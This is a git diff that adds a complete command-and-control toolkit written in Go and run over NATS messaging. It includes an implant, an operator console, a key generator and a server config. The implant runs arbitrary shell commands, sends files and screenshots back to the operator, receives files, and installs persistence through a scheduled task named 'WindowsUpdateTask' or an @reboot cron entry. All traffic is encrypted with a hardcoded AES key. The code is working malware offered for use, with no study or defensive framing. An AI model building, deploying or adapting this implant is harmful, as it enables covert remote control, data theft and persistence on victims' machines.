diff --git a/nats-c2/generate_key.go b/nats-c2/generate_key.go new file mode 100644 index 0000000..bc9d27a --- /dev/null +++ b/nats-c2/generate_key.go @@ -0,0 +1,14 @@ +// generate_key.go +package main + +import ( + "crypto/rand" + "encoding/base64" + "fmt" +) + +func main() { + key := make([]byte, 32) + rand.Read(key) + fmt.Println(base64.StdEncoding.EncodeToString(key)) +} diff --git a/nats-c2/go.sum b/nats-c2/go.sum new file mode 100644 index 0000000..fda7032 --- /dev/null +++ b/nats-c2/go.sum @@ -0,0 +1,80 @@ +github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ= +github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d h1:QRKpU+9ZBDs62LyBfwhZkJdB5DJX2Sm3p4kUh7l1aA0= +github.com/dblohm7/wingoes v0.0.0-20250822163801-6d8e6105c62d/go.mod h1:SUxUaAK/0UG5lYyZR1L1nC4AaYYvSSYTWQSH3FPcxKU= +github.com/ebitengine/purego v0.10.0 h1:QIw4xfpWT6GWTzaW5XEKy3HXoqrJGx1ijYHzTF0/ISU= +github.com/ebitengine/purego v0.10.0/go.mod h1:iIjxzd6CiRiOG0UyXP+V1+jWqUXVjPKLAI0mRfJZTmQ= +github.com/gen2brain/shm v0.2.1 h1:4ARWVKmLPeXE6Qq547N1Fdub+S285OEca+0BoxUJX6g= +github.com/gen2brain/shm v0.2.1/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= +github.com/go-vgo/robotgo v1.0.2 h1:MbhSoJSzv/PNr2dL6H0Z1IUL4Uypsk2b9lQsGQ15hjU= +github.com/go-vgo/robotgo v1.0.2/go.mod h1:wb9ozpOGZS0mHt1+hg4UXzyZe9A8qytjKB84tG9iNyM= +github.com/godbus/dbus/v5 v5.2.2 h1:TUR3TgtSVDmjiXOgAAyaZbYmIeP3DPkld3jgKGV8mXQ= +github.com/godbus/dbus/v5 v5.2.2/go.mod h1:3AAv2+hPq5rdnr5txxxRwiGjPXamgoIHgz9FPBfOp3c= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/jezek/xgb v1.3.0 h1:Wa1pn4GVtcmNVAVB6/pnQVJ7xPFZVZ/W1Tc27msDhgI= +github.com/jezek/xgb v1.3.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= +github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a h1:byHoGvaqttgBKjxlRiJrgXpEGSEGaGSehCDAEOhWdmo= +github.com/jezek/xgbutil v0.0.0-20260124183602-9fd151d6a51a/go.mod h1:J+gHyFrSWnDEeTohhG6DSh048byYWPx4z0ndUu6OhYw= +github.com/klauspost/compress v1.18.5 h1:/h1gH5Ce+VWNLSWqPzOVn6XBO+vJbCNGvjoaGBFW2IE= +github.com/klauspost/compress v1.18.5/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= +github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749 h1:Qj3hTcdWH8uMZDI41HNuTuJN525C7NBrbtH5kSO6fPk= +github.com/lufia/plan9stats v0.0.0-20260324052639-156f7da3f749/go.mod h1:autxFIvghDt3jPTLoqZ9OZ7s9qTGNAWmYCjVFWPX/zg= +github.com/nats-io/nats.go v1.52.0 h1:n3avV4VBsCgsdwh71TppsTwtv+QdPs7ntSKM8qJLGsc= +github.com/nats-io/nats.go v1.52.0/go.mod h1:26HypzazeOkyO3/mqd1zZd53STJN0EjCYF9Uy2ZOBno= +github.com/nats-io/nkeys v0.4.15 h1:JACV5jRVO9V856KOapQ7x+EY8Jo3qw1vJt/9Jpwzkk4= +github.com/nats-io/nkeys v0.4.15/go.mod h1:CpMchTXC9fxA5zrMo4KpySxNjiDVvr8ANOSZdiNfUrs= +github.com/nats-io/nuid v1.0.1 h1:5iA8DT8V7q8WK2EScv2padNa/rTESc1KdnPw4TC2paw= +github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= +github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= +github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= +github.com/otiai10/gosseract/v2 v2.4.1 h1:G8AyBpXEeSlcq8TI85LH/pM5SXk8Djy2GEXisgyblRw= +github.com/otiai10/gosseract/v2 v2.4.1/go.mod h1:1gNWP4Hgr2o7yqWfs6r5bZxAatjOIdqWxJLWsTsembk= +github.com/otiai10/mint v1.6.3 h1:87qsV/aw1F5as1eH1zS/yqHY85ANKVMgkDrf9rcxbQs= +github.com/otiai10/mint v1.6.3/go.mod h1:MJm72SBthJjz8qhefc4z1PYEieWmy8Bku7CjcAqyUSM= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 h1:o4JXh1EVt9k/+g42oCprj/FisM4qX9L3sZB3upGN2ZU= +github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= +github.com/shirou/gopsutil/v4 v4.26.2 h1:X8i6sicvUFih4BmYIGT1m2wwgw2VG9YgrDTi7cIRGUI= +github.com/shirou/gopsutil/v4 v4.26.2/go.mod h1:LZ6ewCSkBqUpvSOf+LsTGnRinC6iaNUNMGBtDkJBaLQ= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071 h1:qo7kOhoN5DHioXNlFytBzIoA5glW6lsb8YqV0lP3IyE= +github.com/tailscale/win v0.0.0-20250627215312-f4da2b8ee071/go.mod h1:aMd4yDHLjbOuYP6fMxj1d9ACDQlSWwYztcpybGHCQc8= +github.com/tc-hib/winres v0.2.1 h1:YDE0FiP0VmtRaDn7+aaChp1KiF4owBiJa5l964l5ujA= +github.com/tc-hib/winres v0.2.1/go.mod h1:C/JaNhH3KBvhNKVbvdlDWkbMDO9H4fKKDaN7/07SSuk= +github.com/tklauser/go-sysconf v0.3.16 h1:frioLaCQSsF5Cy1jgRBrzr6t502KIIwQ0MArYICU0nA= +github.com/tklauser/go-sysconf v0.3.16/go.mod h1:/qNL9xxDhc7tx3HSRsLWNnuzbVfh3e7gh/BmM179nYI= +github.com/tklauser/numcpus v0.11.0 h1:nSTwhKH5e1dMNsCdVBukSZrURJRoHbSEQjdEbY+9RXw= +github.com/tklauser/numcpus v0.11.0/go.mod h1:z+LwcLq54uWZTX0u/bGobaV34u6V7KNlTZejzM6/3MQ= +github.com/vcaesar/gops v0.41.0 h1:FG748Jyw3FOuZnbzSgB+CQSx2e5LbLCPWV2JU1brFdc= +github.com/vcaesar/gops v0.41.0/go.mod h1:/3048L7Rj7QjQKTSB+kKc7hDm63YhTWy5QJ10TCP37A= +github.com/vcaesar/imgo v0.41.0 h1:kNLYGrThXhB9Dd6IwFmfPnxq9P6yat2g7dpPjr7OWO8= +github.com/vcaesar/imgo v0.41.0/go.mod h1:/LGOge8etlzaVu/7l+UfhJxR6QqaoX5yeuzGIMfWb4I= +github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= +github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= +github.com/vcaesar/screenshot v0.11.1 h1:GgPuN89XC4Yh38dLx4quPlSo3YiWWhwIria/j3LtrqU= +github.com/vcaesar/screenshot v0.11.1/go.mod h1:gJNwHBiP1v1v7i8TQ4yV1XJtcyn2I/OJL7OziVQkwjs= +github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4= +github.com/vcaesar/tt v0.20.1/go.mod h1:cH2+AwGAJm19Wa6xvEa+0r+sXDJBT0QgNQey6mwqLeU= +github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= +github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= +golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= +golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90 h1:jiDhWWeC7jfWqR9c/uplMOqJ0sbNlNWv0UkzE0vX1MA= +golang.org/x/exp v0.0.0-20260312153236-7ab1446f8b90/go.mod h1:xE1HEv6b+1SCZ5/uscMRjUBKtIxworgEcEi+/n9NQDQ= +golang.org/x/image v0.38.0 h1:5l+q+Y9JDC7mBOMjo4/aPhMDcxEptsX+Tt3GgRQRPuE= +golang.org/x/image v0.38.0/go.mod h1:/3f6vaXC+6CEanU4KJxbcUZyEePbyKbaLoDOe4ehFYY= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= +golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/nats-c2/implant.creds b/nats-c2/implant.creds new file mode 100644 index 0000000..bdbf64d --- /dev/null +++ b/nats-c2/implant.creds @@ -0,0 +1,5 @@ +-----BEGIN NATS USER + +\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* IMPORTANT \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* NKEY Seed printed below can be used to sign and prove identity. NKEYs are sensitive and should be treated as secrets. + + diff --git a/nats-c2/implant.go b/nats-c2/implant.go new file mode 100644 index 0000000..fe04b39 --- /dev/null +++ b/nats-c2/implant.go @@ -0,0 +1,246 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "time" + + "github.com/nats-io/nats.go" + "github.com/go-vgo/robotgo" +) + +// ------------------------- CONFIGURATION ------------------------- +var natsServers = []string{ + "nats://localhost:4222", // Change to your server IP +} + +// AES key from generate_key.go +const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c=" + +var aesKey []byte +var agentID string +const credsFile = "implant.creds" + +// ------------------------- CRYPTO ------------------------- +func encrypt(plaintext []byte) ([]byte, error) { + block, err := aes.NewCipher(aesKey) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) + return ciphertext, nil +} + +func decrypt(ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(aesKey) + if err != nil { + return nil, err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] + return gcm.Open(nil, nonce, ciphertext, nil) +} + +// ------------------------- COMMAND EXECUTION ------------------------- +func runCommand(cmdStr string) string { + var cmd *exec.Cmd + if runtime.GOOS == "windows" { + cmd = exec.Command("cmd", "/C", cmdStr) + } else { + cmd = exec.Command("/bin/sh", "-c", cmdStr) + } + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out)) + } + return string(out) +} + +// ------------------------- FILE OPERATIONS ------------------------- +func uploadFile(nc *nats.Conn, agentID, localPath string) { + data, err := os.ReadFile(localPath) + if err != nil { + publishResult(nc, agentID, fmt.Sprintf("Upload error: %v", err)) + return + } + encData, err := encrypt(data) + if err != nil { + publishResult(nc, agentID, fmt.Sprintf("Encryption error: %v", err)) + return + } + b64enc := base64.StdEncoding.EncodeToString(encData) + nc.Publish("c2."+agentID+".file_upload", []byte(b64enc)) + publishResult(nc, agentID, fmt.Sprintf("Uploaded %s (%d bytes)", localPath, len(data))) +} + +func downloadFile(nc *nats.Conn, agentID, remotePath, b64Content string) { + encData, err := base64.StdEncoding.DecodeString(b64Content) + if err != nil { + publishResult(nc, agentID, fmt.Sprintf("Base64 decode error: %v", err)) + return + } + data, err := decrypt(encData) + if err != nil { + publishResult(nc, agentID, fmt.Sprintf("Decryption error: %v", err)) + return + } + if err := os.WriteFile(remotePath, data, 0644); err != nil { + publishResult(nc, agentID, fmt.Sprintf("Write error: %v", err)) + return + } + publishResult(nc, agentID, fmt.Sprintf("Downloaded to %s (%d bytes)", remotePath, len(data))) +} + +// ------------------------- SCREENSHOT ------------------------- +func takeScreenshot(nc *nats.Conn, agentID string) { + bitmap := robotgo.CaptureScreen() + defer bitmap.Free() + img := robotgo.ToImage(bitmap) + tmpFile := filepath.Join(os.TempDir(), "screenshot.png") + robotgo.Save(img, tmpFile) + uploadFile(nc, agentID, tmpFile) + os.Remove(tmpFile) +} + +// ------------------------- PERSISTENCE ------------------------- +func installPersistence() { + exePath, _ := os.Executable() + if runtime.GOOS == "windows" { + cmd := exec.Command("schtasks", "/create", "/tn", "WindowsUpdateTask", "/tr", exePath, "/sc", "onlogon", "/f") + cmd.Run() + } else { + cmd := exec.Command("crontab", "-l") + out, _ := cmd.Output() + newCron := string(out) + "@reboot " + exePath + " >/dev/null 2>&1\n" + cmd2 := exec.Command("crontab", "-") + cmd2.Stdin = strings.NewReader(newCron) + cmd2.Run() + } +} + +// ------------------------- NATS COMMUNICATION ------------------------- +func publishResult(nc *nats.Conn, agentID, msg string) { + encMsg, _ := encrypt([]byte(msg)) + nc.Publish("c2."+agentID+".results", encMsg) +} + +func heartbeat(nc *nats.Conn, agentID string) { + encHeart, _ := encrypt([]byte("online")) + nc.Publish("c2."+agentID+".heartbeat", encHeart) +} + +func connectWithRetries() *nats.Conn { + for { + for _, url := range natsServers { + // Try JWT auth first if creds file exists + var nc *nats.Conn + var err error + + if _, err := os.Stat(credsFile); err == nil { + nc, err = nats.Connect(url, nats.UserCredentials(credsFile), nats.Timeout(5*time.Second)) + } else { + // Fall back to no auth for testing + nc, err = nats.Connect(url, nats.Timeout(5*time.Second)) + } + + if err == nil { + fmt.Println("Connected to", url) + return nc + } + fmt.Printf("Failed %s: %v\n", url, err) + } + fmt.Println("All servers failed, retrying in 10s...") + time.Sleep(10 * time.Second) + } +} + +func main() { + var err error + aesKey, err = base64.StdEncoding.DecodeString(b64Key) + if err != nil { + panic(err) + } + + hostname, _ := os.Hostname() + agentID = fmt.Sprintf("%s-%d", hostname, os.Getpid()) + + fmt.Println("Agent starting with ID:", agentID) + + nc := connectWithRetries() + defer nc.Drain() + + // Subscribe to commands + subj := "c2." + agentID + ".tasks" + nc.Subscribe(subj, func(msg *nats.Msg) { + cmdBytes, err := decrypt(msg.Data) + if err != nil { + publishResult(nc, agentID, "Decryption failed") + return + } + cmd := string(cmdBytes) + parts := strings.SplitN(cmd, " ", 2) + verb := parts[0] + arg := "" + if len(parts) > 1 { + arg = parts[1] + } + + switch verb { + case "exit": + publishResult(nc, agentID, "Exiting") + nc.Drain() + os.Exit(0) + case "shell": + out := runCommand(arg) + publishResult(nc, agentID, out) + case "upload": + uploadFile(nc, agentID, arg) + case "download": + subparts := strings.SplitN(arg, " ", 2) + if len(subparts) == 2 { + downloadFile(nc, agentID, subparts[0], subparts[1]) + } else { + publishResult(nc, agentID, "Usage: download ") + } + case "persist": + installPersistence() + publishResult(nc, agentID, "Persistence installed") + case "screenshot": + takeScreenshot(nc, agentID) + default: + publishResult(nc, agentID, "Unknown command: "+verb) + } + }) + + heartbeat(nc, agentID) + fmt.Println("Agent ready, waiting for commands...") + + for { + time.Sleep(30 * time.Second) + heartbeat(nc, agentID) + } +} diff --git a/nats-c2/operator.go b/nats-c2/operator.go new file mode 100644 index 0000000..3748971 --- /dev/null +++ b/nats-c2/operator.go @@ -0,0 +1,149 @@ +package main + +import ( + "bufio" + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "encoding/base64" + "fmt" + "io" + "os" + "strings" + "time" + + "github.com/nats-io/nats.go" +) + +const b64Key = "rAEUBb5Id9HO3m3BZ+G5PSqBaceVJly4lbjbSSImz+c=" +var aesKey []byte +var nc *nats.Conn +var natsURL = "nats://localhost:4222" + +func encrypt(plaintext []byte) ([]byte, error) { + block, _ := aes.NewCipher(aesKey) + gcm, _ := cipher.NewGCM(block) + nonce := make([]byte, gcm.NonceSize()) + io.ReadFull(rand.Reader, nonce) + return gcm.Seal(nonce, nonce, plaintext, nil), nil +} + +func decrypt(ciphertext []byte) ([]byte, error) { + block, _ := aes.NewCipher(aesKey) + gcm, _ := cipher.NewGCM(block) + nonceSize := gcm.NonceSize() + nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:] + return gcm.Open(nil, nonce, ciphertext, nil) +} + +func publishTask(agent, cmd string) { + encCmd, _ := encrypt([]byte(cmd)) + nc.Publish("c2."+agent+".tasks", encCmd) +} + +func main() { + var err error + aesKey, _ = base64.StdEncoding.DecodeString(b64Key) + + // Try JWT auth if creds exist + if _, err := os.Stat("implant.creds"); err == nil { + nc, err = nats.Connect(natsURL, nats.UserCredentials("implant.creds")) + } else { + nc, err = nats.Connect(natsURL) + } + + if err != nil { + panic(err) + } + defer nc.Drain() + + heartbeats := make(map[string]time.Time) + + nc.Subscribe("c2.*.heartbeat", func(m *nats.Msg) { + dec, err := decrypt(m.Data) + if err == nil && string(dec) == "online" { + agent := strings.Split(m.Subject, ".")[1] + heartbeats[agent] = time.Now() + } + }) + + nc.Subscribe("c2.*.results", func(m *nats.Msg) { + dec, _ := decrypt(m.Data) + agent := strings.Split(m.Subject, ".")[1] + fmt.Printf("\n[+] Result from %s:\n%s\n> ", agent, string(dec)) + }) + + nc.Subscribe("c2.*.file_upload", func(m *nats.Msg) { + b64data := string(m.Data) + encData, _ := base64.StdEncoding.DecodeString(b64data) + decData, _ := decrypt(encData) + agent := strings.Split(m.Subject, ".")[1] + filename := fmt.Sprintf("exfil_%s_%d.bin", agent, time.Now().Unix()) + os.WriteFile(filename, decData, 0644) + fmt.Printf("\n[!] File saved: %s\n> ", filename) + }) + + fmt.Println("[*] NATS C2 Operator Ready") + fmt.Println("Commands: list, shell , upload , persist, screenshot, exit") + + scanner := bufio.NewScanner(os.Stdin) + for { + fmt.Print("> ") + if !scanner.Scan() { + break + } + line := scanner.Text() + parts := strings.Fields(line) + if len(parts) == 0 { + continue + } + + switch parts[0] { + case "exit": + return + case "list": + fmt.Println("Active agents:") + for agent, ts := range heartbeats { + if time.Since(ts) < 90*time.Second { + fmt.Println(" -", agent) + } + } + default: + if len(parts) < 2 { + fmt.Println("Usage: [args]") + continue + } + agent := parts[0] + cmd := parts[1] + args := strings.Join(parts[2:], " ") + + switch cmd { + case "shell": + if args == "" { + fmt.Println("Usage: shell ") + continue + } + publishTask(agent, "shell "+args) + case "upload": + if args == "" { + fmt.Println("Usage: upload ") + continue + } + data, err := os.ReadFile(args) + if err != nil { + fmt.Println("Error reading file:", err) + continue + } + encData, _ := encrypt(data) + b64enc := base64.StdEncoding.EncodeToString(encData) + publishTask(agent, fmt.Sprintf("download %s %s", args, b64enc)) + case "persist": + publishTask(agent, "persist") + case "screenshot": + publishTask(agent, "screenshot") + default: + fmt.Println("Unknown command") + } + } + } +} diff --git a/nats-c2/server.conf b/nats-c2/server.conf new file mode 100644 index 0000000..cfbe24f --- /dev/null +++ b/nats-c2/server.conf @@ -0,0 +1,14 @@ +listen: 4222 + +# Point to your operator JWT + +operator: + +# Use memory resolver for testing (or URL for production) + +resolver: MEMORY + +# Enable debug logging + +debug: true trace: true +